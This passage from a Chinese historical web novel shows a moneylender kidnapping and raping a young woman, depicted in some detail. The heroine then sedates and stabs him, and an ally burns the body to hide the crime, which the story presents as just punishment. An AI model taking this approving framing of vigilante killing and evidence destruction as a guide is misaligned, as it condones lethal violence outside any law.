略一沉吟,她取出些银钱塞给姑娘,柔声道:“这些钱你先拿着,将欠债还清,剩余的可做个小本生计。刘二若再来纠缠,你便说欠款已清,他再无理,律法上也站不住脚。”又留下所住客栈的信息,“若有万一,可来寻我。”
她自认思虑已算周全,却万万没想到,还是低估了恶人毫无底线的狠毒。
黄昏时分,客栈房间内烛火初燃。
江渺刚用过晚膳,正对着一桌药材仔细称量,调制给南宫煜压抑毒素的药丸。窗外暮色渐浓,远处传来隐约的市井喧哗叫卖声。
忽然,一阵急促的叩门声打破了室内的宁静。
阿洛起身开门,只见门外站着一个不足十岁的男孩,衣衫褴褛,满头大汗,脸上还挂着泪痕和污泥。
他见到阿洛,仿佛抓住救命稻草,猛地扑上来抓住她的衣摆,声音里都是惊惧与哭腔:“姐姐!求求你!快去救救晴姐姐!她被坏人抓走了!!”
抓走了?
江渺心头一颤,那晴姐姐正是白日里卖胭脂的姑娘。她疾步走过来,一眼便看见男孩手中的帕子。
这帕子是江渺交于李晴的信物,不想才过去几个时辰,竟又回到了自己手上,李晴一定深陷危险。
可恶!
44.非人
男孩说,江渺离开后不久,刘二便带着人去而复返。恶狠狠地逼问众人她们一行人地下落,可谁也不知道她们的去处。
刘二见问不出什么,又将目标转向了李晴。他破门而入,李晴见他来势汹汹,心知凶多吉少。慌忙逃离,匆忙间只能向邻居的孩子交代来求救,话音才落便被刘二手下的人抓住,关上了门不知发生何事。
孩子不敢耽搁,立即按照李晴所言寻来,盼着江渺能出手相助。
看来刘二是找不到她而迁怒李晴,怕是凶多吉少。不及细想,江渺立刻叫上云杉就要前去李晴家。阿洛询问是否叫上公主,江渺摇了摇头,南宫凝安危更重要,她有云杉保护自是不怕,不能让南宫凝跟着她去冒险,就连阿洛也被强行留在了客栈。
这边李晴被刘二抓住,哆哆嗦嗦从怀中掏出银钱,哭哭啼啼道:“二爷,这是我爹欠的银钱,您放过我罢。”
刘二端坐首位,居高临下的盯着眼前双眸含泪,楚楚可怜的女子,冷冷笑:“拿过来!”
李晴连滚带爬过去,双手奉上银票。刘二一把夺过,嗤笑道:“五十两?”
李晴身子一颤,声音低若蚊吶:“是……是,是的二爷,其中二十两是孝敬您的。”
刘二冷哼一声将银票递给身边的人,身旁的小厮立刻从怀中取出借条,刘二拿过来仔细端详一眼,故作疑惑道:“咦……我怎么记得你爹欠我的是一百两呢……”
他故意拉长尾音,李晴闻言猛地抬头,一百两……怎么,怎么可能……
刘二将借条扔给李晴,她哆哆嗦嗦捡起来一看,谁知那借条下写着逾期不还,增加一百两。
字迹尚未干透,显然是后面才添加上去的。李晴眼前一黑,一百两银子,怕是自己一辈子不吃不喝也还不上。即便是江姑娘早已料到刘二会加价,给了她多余的银钱。却未想他如此厚颜无\耻,势必要将她逼入死路。
望着眼前刘二小人得志的模样,她已然知道再无退路,万念俱灰下飞快地朝墙上撞过去,岂料刘二像是早已知道她会有所行径一般,李晴只撞上了一个厚实的怀抱。
谁来救她了吗!
不……
满脸阴笑的家丁被小美人扑了个满怀,心头早已肌痒难耐,奈何老大还未发话,又做不得什么,只能趁此机会在李晴胸\前抓了一把!
李晴又羞又恼,还要寻死,几个大汉又搂又抱将她禁锢住,一人拿来绳索,将她成大字状绑在桌上。
刘二拨开众人,油腻的手划过少女细嫩的脖颈,脑中浮现出江渺冷冷的面容,啐了一口。
差是差点,也就将就了。如此想着,他一把抓住李晴的罗裙,嗤啦一声,布料断裂声响起。
“不要——”
江渺心头狂跳,不由地问孩子还有多远。李晴家地处山脚,周围人烟稀少,左右就两户人,孩子的父母还外出做工并不在家。
一个弱女子,如何抵挡得了那群豺狼?越想越是心急如焚,江渺连声催促车夫加快速度。
刚行至孩子所指的村落附近,便见一辆不起眼的青篷马车自窄道另一头驶来,与她们擦肩而过。江渺心系李晴安危,只下意识地回头瞥了一眼,并未察觉异样,注意力旋即回到前方那栋孤零零的土坯房。
静,过分的安静。
江渺本想着刘二在内,云杉与其周旋,她趁机使用麻药将人药倒,再救出李晴。可是两人走到门前,却不闻其间有任何响动,一时间不祥的预感笼上心头。
顾不上许多,江渺点头示意云杉破门。
吱呀一声响动,两人蓦地怔愣在原地。
屋内一片狼藉,桌椅翻倒,杂物散落一地。唯有屋子正中那张粗糙的长桌尚算完好。桌上赤身躺着一女子,躬身蜷在一起,洁白的肌肤上是触目惊心的红痕,不用想也知道发生了什么。
该死!还是来迟了!
江渺强压下心头的愤怒疾步上前查看,只见少女双目紧闭,满脸泪痕未干,唇角破损,眉头痛苦地紧蹙着,已然昏死过去。
江渺迅速解下自己的外衫,轻柔地覆盖住那遍布伤痕的身体,指尖搭上她的腕脉,同时快速检视她身上有无更严重的创伤
云杉则迅速在屋内搜查一圈,确认除李晴外再无他人,也无埋伏,这才从散乱的衣物中找出李晴的衫裙,默默放在长桌一侧。
这时,李晴像是做了什么噩梦一般,倏然惊醒!还未回神,却先感觉到身子如同被敲碎一般疼痛,先前的记忆涌入脑海,竟比梦中所见还要骇人,眼泪霎时便滚落下来,一心只想去死。
“李晴!李晴!是我,没事了,已经没事了!”江渺见她情况不对,立刻握住她的肩连声唤道。
听到呼唤,李晴这才清醒过来。望着江渺关切地神情,只觉得五脏六腑皆俱断,痛苦得说不出话来。
江姑娘,江姑娘终于来了!
可她,她……
随之而来的更为汹涌的羞\耻、悲愤狠狠掐断她的希望。眼前一黑,再次晕厥过去。
江渺连忙扶住她下滑的身体,让她靠在自己怀中。即便是在她来自的那个更为开放的时代,性侵对受害者造成的生理与心理创伤也是毁灭性的,需要极其专业的干预和漫长的恢复。
而在这个对女子名节视若枷锁的时代,李晴所要面对的,除了身心的伤痛,还有足以逼死人的流言蜚语与世俗眼光。
“云杉”江渺低低开口:“先将她送回客栈。然后来市集找我!”
云杉自然明白她要做什么,可是又担心江渺安危,正想开口又对上她冷若寒冰的脸,沉默地点了点头。
江渺孤身一人先打听刘二的行踪,随后买了一把短刀,又差人送信云杉,做完这些毫不犹豫的朝城外方向赶过去。
夜色已沉。车夫将江渺送至山下,好心劝道:“姑娘,这山路难走,要不您等天明再出发?”
江渺手指拂过刀柄,对着车夫略一施礼:“多谢你。无妨。”
这大山可是她的主场,她怕什么。
车夫见她去意已决,不敢再说什么,只告诉那破庙已经多年未用,周围又是断崖,一切小心。
江渺点头记下,一个人融入了沉沉夜色之中。
攀爬是她的强项,几乎没有废太大的力气她便抵达了破庙门前。月色凛凛,风声赫赫,草木左右摇摆,鸟兽四散而去,唯有破庙一点灯火引人注目。
她小心躲过门口的守卫,躬身从一堵矮墙越过,很快
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就来到了正厅外,忽闻里间传来低低的对话声:“让你办的事情怎么这么久都没办好!”
“姑父息怒,今日侄儿看到一女子,真是美若天仙。待侄儿将她擒来,先献给姑父享用。”
那低沉的男声听到刘二这么说,不喜反怒:“胡闹,要是被上面知道你送来的女子非完璧之身,你有几个脑袋都保不住!”
刘二被训斥,却没有一点害怕,反倒谄媚地笑:“不会的姑父,那芸娘手艺极高,经她处理过,谁都看不出来是否有问题,况且,死人又不会说话……”
低沉的叹息声传来,“你可小心点。尽快将交代你的事情做完,否则拿你是问!”
“是是是,姑父说的对。侄儿定不让姑父忧心!”
男子冷哼一声,对话声戛然而止,很快又有几人从屋内出来,他们身上各扛着一个麻袋。江渺屏气凝神,将自己死死的藏在黑夜之中。
不是说刘二是孤身一人来的城外吗?这阵仗看起来好像某些黑暗的交易现场!这群人背的是什么?
待到那位姑父出了院子,护卫也陆续离开,江渺这才仔细挪动身体,小心不发出声响,终于透过夜色远远看清了麻袋一角漏出的一只手指。
是人!
一个念头在脑海中飞快闪过,让她浑身血液一滞。恐怕刘二所谓的娶姨娘只是幌子,他在暗中进行着人口贩卖的恶行行当?!
那他为何没有将李晴带走,是故意的?!还是……
正想着,四周的灯火骤然一亮,江渺的身形猛地暴露在了庭院之中,周围避无可避,她努力适应光亮,再睁眼便见刘二勾着嘴角,居高临下地看着她。
“小娘子,没想到你这么想我,居然主动来寻我了!”
江渺已然反应过来她中了刘二的计谋,李晴确实是引她发怒的一枚棋子,然后再故意设下圈套诱她一人前来。
刘二根本不像表面那般蠢笨,不过,也就如此而已。
江渺故作惊慌想要逃跑,却被周围的侍卫团团围住,眼看避无可避,她无力瘫坐在地,眼泪汪汪地看着刘二。
“刘爷……我错了,求你饶了我罢!”
刘二心花怒放,美人垂泪,岂不动情:“要爷饶了你也成,你跟爷好,爷好好疼你。”
江渺眼睛左右张望,四五个膀大腰圆的护卫齐刷刷看过来,她旋即挥袖掩面低下头去,用极为勉强却又无可奈何地声音回道:“那刘爷保证只疼我一人吗?”
“保证保证!”刘二笑意吟吟搓手过来。待他玩够了再交给姑父完成任务,美人银钱手到擒来,心情不由大好,也不多想随口就应付道:“爷保证只疼你!”
说着,他欺身过来,“小美人,先让爷好好看……看……”
话音未落,手还未触及到江渺的脸庞,顿觉腹部一痛。他不可置信的低下头来,嘴上支支吾吾道:“你,你……”
周边几人本识趣地侧头过去,这时听到动静也低下头来,只见一把银色的匕首,穿过刘二的腹部,灰色直缀顿时血色弥漫!
几人面色巨变,伸手按上腰间,可脚底仿佛灌了铅一般沉重,手中的刀,怎么也拔不出来,还未及细想,整个人就如同灵魂被抽去一般迅速瘫软下去。
45.再遇
“跟我玩心眼子,你还差了些!”江渺抬眼,泪水顺着脸颊滴落在刘二的衣衫上。她未眨眼,手中短刀迅疾拔出,顺势在他衣襟上将血迹擦净。
她虽未料到刘二竟设局引她来这破庙,但既敢孤身前来,又岂会不做万全准备。
刘二至死也想不明白,她那袖中藏了足量的麻药。这几日她反复改良,自信除非顶尖高手,否则近身之人皆可顷刻放倒。
纵使刘二在镇上有些势力,江渺也不信他能请来什么高手护持——何况在他眼里,自己不过是个弱质女流,怎值得他大费周章?
山深路僻,人迹罕至,正是月黑风高、杀人放火的好时机。江渺果断了结了他。这般人\渣不死,还不知有多少无辜女子要遭殃。
对他,江渺心中并无半分负罪。
只是眼下却有些难办,她一人实在拖不动这具沉甸甸的尸身。
正踌躇间,一道声音自身后悠然响起:“需要帮忙么?”
江渺蓦然回首,只见朦胧火光里,一柄折扇不紧不慢地轻摇。待定睛细看,来人竟是谢知言。
他怎会在此处?
江渺指间刀刃尚未收回。谢知言眼中含笑,缓缓向她走近。她向后一退,正踩上刘二肥厚的手掌,身形一歪,几欲跌倒。
谢知言却已上前,伸手稳稳将她扶住。江渺借力站定,转眼已被他虚揽入怀。
稳住身形,江渺仍忍不住问道:“你……你怎么会在这里?”
谢知言微微一笑:“恰巧路过。今日午后在集市见你匆匆往这边来,心下有些担心,便跟过来瞧瞧。不料竟看见你……”
江渺明白他的未尽之言,他撞见了她杀人。
“那你打算如何?”江渺迅速自他怀中脱身,拉开两步距离,“要去报官么?”
“江姑娘此话从何说起。”谢知言略一颔首,身旁小厮会意,引着几名护卫上前。几人利落地将尸身拖入破庙深处,随即掷出火把。
火光倏然腾起,映亮他半张清隽的侧脸。他转向江渺,语气温和如旧:“夜路难行,容谢某送姑娘回城罢。”
江渺闻言,心中疑惑未消,不由追问道:“你为何要帮我?”
谢知言手中折扇唰地一声合拢,唇角笑意未减,温声道:“姑娘心怀众生,此前在杏花村救治患者之事已然传开。谢某不信,有着菩萨心肠之人会滥杀无辜。姑娘所诛之人,必定是恶贯满盈、该杀之辈。”
江渺望着他的眼睛,其中神色诚挚,不似作伪。念及此前已蒙他数次相救,心中戒备不由又松了几分。
“多谢公子。”江渺听完他的话,果断将短刃收回袖中,抱拳道,“公子多次出手相助,江渺感念。此刻天色将明,公子若不嫌弃,可愿随小女子同回客栈?容我略备薄酒,聊作答谢。”
谢知言颔首:“姑娘相邀,岂有不从之理。请。”
二人并肩踏上归途。行至半路,恰遇上前来寻人的云杉。
云杉提着灯笼匆匆赶来,见到谢知言时眼中掠过一丝疑惑,但见江渺安然无恙,悬着的心总算落下。江渺简略说了今夜之事,听得云杉一阵后怕:“小姐,您可千万别再如此涉险了,下次定要带着奴婢一同前往。”
江渺笑着应下。云杉又道:“李晴姑娘已安置妥当,阿洛正在照看。凝姑娘也很担心您。”
“那我们快些回去,免得凝姐姐挂心。”江渺道。
谢知言在一旁静听主仆二人交谈,见她们言语亲近,不似寻常主仆,倒更像姐妹,心下对江渺平易待人的性情又添了几分了解。
几人稍作寒暄,便一同回到客栈。刚踏入院门,南宫凝便迎了上来。她先上下打量江渺是否受伤,瞥见她衣襟上沾染的血迹,神色顿时一紧。
“凝姐姐放心,不是我的血,无碍的。”江渺快走两步握住她的手轻声安抚。
南宫凝这才稍定心神,目光随即落到她身后的谢知言身上。
江渺侧身引见:“这位是谢知言谢公子,今夜多亏他相助。”她又转向谢知言,“这位是我的姐姐……”说到此处,她话语微顿,南宫凝的名字过于显眼,易引人猜想。
南宫凝会意,自然而然接过话头,向谢知言盈盈一礼:“小女子江凝,是渺儿的姐姐。多谢谢公子照拂小妹。”
谢知言拱手还礼,态度谦和:“江姑娘有礼。”他抬起头时,面容自袖后显现。灯火映照下,但见他眉目清朗,气质如玉,确是一副难得的好样貌。
南宫凝虽见惯风仪出众之人,此刻亦不由微微一怔。
“咳。”江渺轻声一咳。
南宫凝即刻回神,敛衽又是一礼,从容道:“想必公子便是妹妹先前提起,在杏花村仗义相助的谢公子。今夜之事,再次多谢了。”
谢知言手中折扇轻摇,自谦道:“江姑娘言重了。令妹心怀仁义,胆识过人,方是令人敬佩。”
两人寒暄一番,再抬头夜色渐褪,东方已现出浅浅的鱼肚白。
江渺心系受伤的李晴,请南宫凝先与谢知言作陪,随之便进了李晴的房间。
李晴状况并不是很好,身体上的上可以痊愈,可是心上的上也不知要如何才能好起来。她拉过李晴的手,轻声对她低语道:“姑娘,那恶人会受到应有的惩罚,可是你还年轻,切莫为了那人不爱惜自己的生命。”
李晴睫毛微颤,仿佛听到了江渺的话,滑下两行清泪,顺着面颊落在了枕头上。
见状江渺拍拍她的手,又为她拭去泪水,无声退了出去。
旁人说什么也是无用的,不论怎么还是要她自己想得通才行。
江渺转身来到谢知言的房间,刚推开门便听到南宫凝正赞道:“公子所言妙哉,还敢问公子其后如何做解呢?”
“这……风来雨本是……”
谢知言刚开口,见江渺推门进来,一时止住话头站起身来,“渺姑娘,你快来坐。”<
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渺姑娘?
谢知言自作主张换了称呼,一时间还让江渺有些意外,见她怔愣了一瞬,谢知言笑道:“两位江姑娘不好称呼,叫你渺姑娘,不会介意吧?”
有什么好介意的,名字罢了。江渺摆摆手走过去,随口道:“谢公子自便吧。怎么称呼都无所谓。”
谢知言点点头,细心为江渺移开椅子,又为其添了茶水,这一动作落在南宫凝的眼中,莫名的心情有些许烦躁。
刚才正和谢知言说到关键的地方,被江渺推门声打断。此时南宫凝见江渺已经坐好,目光又落在谢知言身上,正想要继续话题,却见烛光下的两人低声交谈,讲着她不知道的那些奇闻轶事,眼前可口的饭菜也变得索然无味。
还是琼枝先看到主子情绪似乎有几分低落,轻声询问道:“小姐,您累着了吧?要不要先去休息一下?”
自从李晴被送回来,主子得知江姑娘独自一人出去,担心地一宿未眠,这会又强撑着陪客人,心中不免担忧。
听到琼枝的话,谢知言和江渺停住交谈。江渺关切地靠过来想要拉住南宫凝的手,询问情况,却没想到南宫凝竟悄无声息地挪开了自己的手。
江渺呆愣了一瞬,还未细想,见南宫凝先站起身来,面色有些倦怠,低声道:“谢公子,妹妹,我突然感觉身子不适,便先失陪了。”
江渺有些担心,不由问:“姐姐,要不我给姐姐把脉看看?”
南宫凝摇头:“妹妹,我只是有点不舒服,休息休息就好了,这里就请你陪这个谢公子吧。”她向两人行礼告退,说着就向外走去。
见南宫凝语气决绝,江渺也不好再说什么,只关切道:“那姐姐好生休息。”说罢,将主仆二人送出门外,这才回来不好意思地向谢知言致歉。
谢知言笑着说,“无妨。家姐既然身子不适,在下也不便多打扰。另外,刘二此人背景复杂,渺姑娘处理了他,虽然我们已经销毁了证据,但是还请渺姑娘后面多多留心身边,注意安全。”
江渺闻言,不禁秀眉微蹙。刘二昨日见面的那位“姑父”江渺并未看清楚他的长相,就算看清了也未必认识。但是听他们谈话,字里行间透露着此人身份并不简单。
他们似乎一同在为什么人卖命,像极了一个犯罪团伙。即使在大街小巷布满摄像头,让坏人无处遁形的现代,黑色势力也盘根错节,如同附骨之蛆难以根除。更何况在古代,杀人放火不说,官官相护,各种不能摆在明面的事情众多。江渺才解决了安乐郡主这个对头,可不想再惹一个祸事。
不过,刘二这人实在可恨,他已经欺负到她认识的人来了,不杀他实在难以接受。江渺不后悔杀了他,就算仇家找上门来,也到时候再想办法解决吧。
听谢知言所言,似乎他对刘二这人颇为了解,或许他也知道什么内情不一定。正想要探寻两句,阿洛突然推门进来。
“小姐,公子回来了。”
46.生气
南宫煜回来了?
江渺想起他出发前曾说要去办事情,七八日也不会再与她们见面。这才不过两日,为何又回来了?
今日之事,江渺并不打算告诉南宫煜。他肯定不会赞成她一人去惹事,定还会说她胡闹。
可是李晴这事如何解释……
正想着,身边的谢知言突然开口道:“渺姑娘的表兄吗?”
阿洛答:“正是。”
“那渺姑娘,且容在下先行告辞了。”
听到谢知言说话,江渺又想起来杏花村时南宫煜对谢知言并不友好的态度,若是让南宫煜见到谢知言,会不会又不高兴。
虽然不知道他为什么不高兴,也觉得他不高兴也没什么。谢知言救了自己两次,被自己的“家人”这么对待,换谁谁会开心呢。
他南宫煜凭什么那么对待她的客人啊?
这么一想,江渺止住谢知言的脚步:“谢公子留步,既然今日是江渺请谢公子吃饭,答谢救命之恩,怎好让公子连饭都没有吃好就走呢?”
她侧头告诉阿洛:“表哥回来便回来了吧,若是无事便去歇着,若是有事找我,便说我还未起,有时间再去寻他!”
阿洛领命才要退下,忽闻身后一个声音传来,“表妹这不是起来了吗?为何要诓骗愚兄?”
房门被推开,晨光中,来人一身墨色直缀,手握剑柄,面色阴冷地盯着江渺,试图从她脸上读出答案。
见江渺不答,他的目光挪开,又落在谢知言身上,眸色更冷了几分:“你是谁?”
谢知言躬身一礼:“柳公子,在下谢知言,我们之前见过。”
南宫煜上下打量他一眼,旁若无人般径直从谢知言身边走过,直接对江渺说:“我还没吃早饭,不介意为兄一起用膳吧?”
江渺盯着他,眉头一皱。
【睿王殿下心情不好?】
【这是在抽什么疯?】
虽然几人同行多日,可是从不曾一起用膳过。南宫煜公务繁忙,都是由小厮送到房间里解决餐食,今日有空和她吃饭?还有他对谢知言的态度也忒差了吧!
看起来来者不善!
她下意识地上前一步将谢知言护在身后,对其一礼:“自是不介意,只是表兄我们吃好了,您自己慢用。”
说罢,她伸手拉住谢知言就要向外走去。
谢知言跟着江渺亦步亦趋,眼光却落在江渺揪着他袖子的手上,手中的折扇不由紧握,眼里有几分不明的笑意。
反观南宫煜看到江渺和谢知言亲密的样子,顿觉血涌上头。昨日他收到暗卫的消息,将江渺及南宫凝遇到的事情一一禀报,听到后面得知江渺去救李晴,心头一颤。
若不是江安镇近期有异动,他将人手放在县衙上,其余人顾着南宫凝没办法抽出身,也不会让她一个人出去,江渺不知道刘二那人是什么身份,但是南宫煜却是知道。
她若落在刘二手中,还能活着见到明天的太阳吗?那他的解药怎么办?他来不及处理手上的事情,急忙赶回江安镇。根据手下最后提供的线索先去了城外破庙,见到漫天大火,心如鼓擂。
好在死在那里的人并不是她。他将刘二处理干净后,又赶回来见她,这才得知不是她一人回来,身边还带了一个男的!
并且,她和那人孤男寡女,共处一室。做什么?她有没有一点女孩子家的礼义廉耻。
他虽然相信她不会做出什么不堪入目的事情,但是这事情若是传出去,她知不知道就是那些人的唾沫星子也可以将她淹没,让她寸步难行!她既然能够明白李晴的心情,那她知不知道保护自己的名声!
南宫煜将店中小二都撤掉,换成自己的人,这才推门上来见她,岂料她竟然当着她的面拉住了那人的衣袖!!
成何体统。
江渺可不知道南宫煜做的这些,心中暗骂他莫名其妙,快步正要走出去,忽闻身后传来一阵瓷器碎裂之声,她下意识顿住脚步,回头看来。
只见南宫煜手中的杯盏不知怎的碎成几块,茶水洒了一地,险些沾湿了他的衣襟。
【这是……】
【殿下在生气?】
江渺再傻也感受到了不同寻常的气氛。南宫煜向来就爱板着个脸,就像谁欠他似的,若不是那张脸还挺养眼,谁想整日对着座冰山。
而且此刻冰山上似乎下起了雪,刺骨寒意袭来,当下,江渺想都没想,立即转身要走,三十六计走为上计。虽然不知道发生了什么,可是待在这里指不定会被殃及到。
听着她心里骂骂咧咧,南宫煜本以为江渺会礼貌性的安慰他几句,再不济问一下他是否身子不适?
可看着她果断的要跑路,南宫煜几乎要被气笑了,冷声开口:“站住!”
江渺闻言,身子立刻听话的停下来立在原地。还没等她回过身来,南宫煜已然快步上前,眨眼间就到了两人面前,再一抬手,状似无意般将江渺的手与谢知言的衣袖分开。
嗯?
江渺疑惑看过来,南宫煜视若无睹,只一伸手将江渺拉到自己身边与谢知言拉开了距离。
谢知言笑笑不语,脸上似尴尬,又似了然。
江渺反应过来发生了何事,怒上心头,忍无可忍,无需再忍,继而开口“表哥,你这是做什么?”
南宫煜对江渺的愤怒置若罔闻,只将她藏在自己的身后,冷声对谢知言道:“如果我没记错,上一次已经和谢公子说的很明白,我家兄妹几人出门在外是有要事,实在不便与谢公子同行玩乐,如果没有什么旁的事情,还请谢公子趁早离开罢。”
谢知言并未理会他,微微侧身过来看向江渺,他本来是念及江渺一宿未休息,还要担心江姑娘,故而早早请辞离去,如今被南宫煜这么一搅合,他忽然来了兴致,并不想遂了他的心愿,轻声开口问道:“渺姑娘也是这么想的么?”
“自然!”
“当然不是!”
两个声音同时在房间里响起,南宫煜话音
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刚落,江渺强行挣脱他的禁锢,从他背后探出头来:“谢公子,别听他胡说。我表兄今日吃错药了,脑子不清醒。”
“自然。”谢知言拿南宫煜刚刚的话来回答,尾音还带着一丝讥诮。
落入南宫煜的耳朵里,瞬间勾起了他心里无名的怒火,声音不由得提高了几分:“谢公子,我说的不够清楚吗?要不要我让人请你出去。”
谢知言看见江渺被他重新抓住,也没有了刚才的好脸色,折扇一伸落在他的手上,冷言道:“放开她。”
谢知言一向温润如玉,说话如同春风拂面,犹是在提灯节那夜面对那些危险的刺客,他也从未如此疾言厉色过。
南宫煜显然对他的不满毫不在意,他冷眼看着谢知言,片刻,转过身拉起江渺的手要向外走。
江渺不愿,两人在门前拉扯起来。可是对方是久经沙场的老将,任凭她怎么用力,那只手却如同锁链一般,将她的手腕牢牢抓住。
谢知言在面前,她并不好抬脚给南宫煜踹过去,愤然开口怒道:“表哥,你凭什么随意左右我的决定?你凭什么这么对待我的朋友?”
南宫煜闻言,果然停下脚步,有些讶然地垂眸看向她,“朋友?”
趁着这个时候,江渺猛地一甩手腕,挣脱了南宫煜的钳制,谢知言又见缝插针一般将江渺拉到身后,气氛一瞬间剑拔弩张起来。
南宫煜见她双颊绯\红,鬓发未散,眼神中藏着愤怒,又听她心中将他骂了上百遍,气笑了:“你说这人是你的朋友?”
江渺梗着脖子,强硬答道:“是,希望你对我的朋友态度好些!”
谢知言拦着南宫煜不让他上前,两人眼神在空中交汇,如同有火花炸开,良久南宫煜眼光落在江渺揉着的手腕上,轻叹了一声,“随便你罢。”
话音一落,便转身快步离去。
南宫煜走后,江渺才松了一口气,也不知道他抽什么疯,非要上演这一出。是她请谢知言来做客,但是他却当着她的客人的面,摆什么表哥的架子,如果不是为了安全起见,谁要和他演戏?
谢知言又没有做错什么,平白受了他的冷眼,真是可恨。江渺越想越气,整张脸显得阴郁,谢知言见她心情不佳,反倒先开口询问:“渺姑娘你没事吧?”
江渺揉着泛红的胳膊,摇摇头,“谢公子见谅,家兄脾气古怪,常常做些旁人匪夷所思的事情,别搭理他。”
说着,她又重新添了热茶,唤人来换了酒菜,端起酒杯来向谢知言赔罪。
谢知言已然恢复了那副温文尔雅的样子,温声安慰江渺几句,又劝道:“令兄也是为你考虑,许是看到你与陌生人在一起,担心你的安危,故而有此反应。渺姑娘莫要为了在下一个外人与家兄生了嫌隙。”
谁和他生嫌隙,很熟吗?江渺摆摆手:“别说他了。你是我的朋友,我不会让别人欺负了你去。”
谢知言闻言,嘴角微微一勾。
这姑娘,与传言完全不一样呢。
47.曾经
两人坐下来聊了好一会儿。谢知言告知江渺,他家住昌都城外,是位闲散少爷,此番是南下探望亲戚,不曾想在路上遇见了江渺。
江渺听闻谢知言也要南下,正好与自己要去的地方是一个方向,遂邀请谢知言一路同行。
谢知言笑笑:“柳兄那日说你们兄妹南下有要事,不方便带我一个外人,谢谢渺姑娘好意,谢某还是独自前行罢。”
江渺并非是忘了南宫煜的提醒,只不过南宫煜一连两次对谢知言无礼,她心中压着火。南宫煜与她不过是合作关系,即便是为了她们的安全着想,那大可以好言相劝,何必冷脸赶人?又站在什么位置替她做决定?她要不要与谁做朋友,又与他有什么关系?
想到这里,江渺便道:“表哥怎么想不必理他,明日我去问问姐姐,只要姐姐同意就行。”
谢知言知道江渺好意,但是并不想给她添麻烦,柳家这位表兄看起来便是一位不好惹的人,他若待在江渺身边,万一他又拿她出气,又将她伤了可不好。于是谢知言再次拒绝了江渺的邀请。
看到谢知言去意已决,江渺也不好再做强留。两人闲谈着吃完饭,谢知言请辞,江渺便将他送至客栈外,两人就此别过。
送走谢知言,江渺抬脚去了南宫凝房间。之前南宫凝说身子不适,江渺心下还是有点担心,要去看过才能放心。
本以为南宫凝在休息,琼枝开门让江渺进来,江渺这才看见南宫凝一人坐在案桌前,双手搭在桌边,头枕在手臂之上,鬓角的发丝斜斜散落在如雪的肌肤旁,美人沉思,娇憨无状。
江渺轻声走过去,南宫凝没有发现她的到来,看来是在想什么想的入神。
待走近了,江渺偷偷绕到她的身后,轻拍她的肩,娇嗔道:“姐姐莫不是在思念某位少年郎?”
南宫凝猝不及防被人从身后一拍,惊得险些从椅子上站起来,待看清来人,才嗔怪道:“妹妹,你胡说什么?”虽是说着,脑海里谢知言的身影却挥之不去,听清楚江渺说的内容后,脸上蓦地浮现一抹红晕。
看着她略带娇\羞的模样,江渺本来只是开玩笑的,心下却突然笃定是说中了南宫凝的心事。这一路上,南宫凝曾向她问过之前她痴缠陵王的荒唐事,她推说年轻不懂事,现在已经不会再这么做了。
南宫凝听完,长舒一口气,口中碎碎念:“那就好,那就好。感情这种事情,碰不得。碰不得。”
江渺还有些好奇追问:“凝姐姐为何如此说?”
南宫凝答:“母后爱了父皇一辈子,也被他骗了一辈子。母后走之前曾说,如果有来世一定不要再遇见父皇。”
“那些在梁河的日子恍若梦境。旁人眼中的鹣鲽情深,也不布满了欺骗与悔恨。可见爱这样东西,宛若毒药,是碰不得的。”
她说得认真,江渺听得似懂非懂。
江渺没有谈过恋爱,也没有喜欢过旁人,不懂爱是什么滋味。但是在医院见过人前情深似海,背地杀妻骗保的畜生,也看过穷极所有为所爱之人续命,妻子离世后终生不娶的有情\人。
人心太为复杂,她信也不信所谓的感情。但是南宫凝说的信誓旦旦,她看她那副避如蛇蝎的模样,也顺着她说的认真问:“那姐姐是不打算嫁人了?”
南宫凝点头,半真半假的笑道:“等我见了姑母回来后,我就找一处庙子出家做姑子去。”
江渺拍她的肩,揶揄她:“那姐姐做一号姑子,我便做那二号姑子。”
两人的谈心还未过几日,南宫凝就心悦他人,想来感情这种事情,就是这样的没有道理。
她了然于心,面上却不显露,只如同一般一样,将带着几分愠色的南宫凝按回椅子上:“好好好,是妹妹胡说。姐姐才没有想什么少年郎呢!”
“渺妹妹!”南宫凝听出了她话中的调侃,不由音调提高了几分:“你在乱说,我就不理你了。”
江渺见好就收:“是,姐姐莫要不理我。妹妹再也不胡言乱语了!”
她煞有介事地要指天发誓,南宫凝一把拉过她坐下:“行了,就属你最皮!”
自那日谈心后,两人的关系越发亲近。南宫凝也确是如同一位姐姐般照顾江渺,江渺自然而然卸下心中防备,对她也亲密起来。
听到南宫凝原谅了自己,江渺也就收起不正经,语气变得严肃起来:“姐姐,用膳时你说身子不适,可还有哪里不舒服?”
“已经无事了。”南宫凝摇摇头:“许是昨夜没休息,头有点晕,现下已经好了。”
江渺心中有几许感动,怕是除去柳如云,这个世界就只有南宫凝最挂念她的安危了。
明明她们认识也没有多久……
可见有的人能够走到一起,与她相处了多久并无多大的关系。
江渺拉过南宫凝的手腕,细细为她把脉。果然只是有些虚浮,想来应该是没睡好的缘故,转头嘱咐琼枝给南宫凝熬上安神汤,这才安心下来。
南宫凝突然想起来南宫煜回来一事,怕是江渺还不知道,便开口道:“刚才听琼枝说五弟匆匆换了客栈的小二,还封禁了客栈,也不知道出了何事。本来还说要七八日才能回来……”
南宫凝还在说,江渺却有些出神。
是出了什么大事吗?所以南宫煜急急回来,还禁止闲杂人等进入客栈,难道是又有刺客?
睿王殿下暗卫遍布,消息来源要比她们知道的还要多,一定是遇到什么紧急的事情了,才会有这样的动作。
再结合南宫煜两次对谢知言的态度,莫非是谢知言的身份有问题?
江渺并不想
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猜测谢知言是敌人,但是南宫煜态度如此反常,其中必定有什么事情是她不知道的。
见江渺出神,南宫凝轻推了她的胳膊,询问道:“想什么呢?”
有什么事情,问问不就知道了?江渺不喜猜测别人喜好,虽然和睿王殿下不甚相熟,但是好歹她救过他,他也救过他。他们这算是有过命的交情吧,若是因为一些原因,对彼此产生误解,也是没有必要。
想了想,江渺将南宫煜对谢知言态度非常不友好的事情,一一与南宫凝说了一番。
“五弟虽然不喜言笑,可是从不是一个无礼之人。想必其中有什么误会?”
可是有什么误会,南宫凝也说不上来。谢知言温文尔雅,玉树临风,又博学多才。南宫凝对他印象很好,自然也不愿去想谢知言会是对她们不利之人,况且从江渺所言来看,他还出手帮过她,并不像是坏人。
江渺也是这么觉得。心思百转千回,她发现自己对睿王也不太了解,或许是谢知言在某个点得罪了他?又或许,不是谢知言得罪了他,而是她得罪了他,南宫煜拿谢知言泄愤?
江渺道:“凝姐姐,睿王殿下是一个什么样的人呢?你能和我讲讲吗?”
“嗯。我记得小时候,五弟其实是一个很开朗的人。”
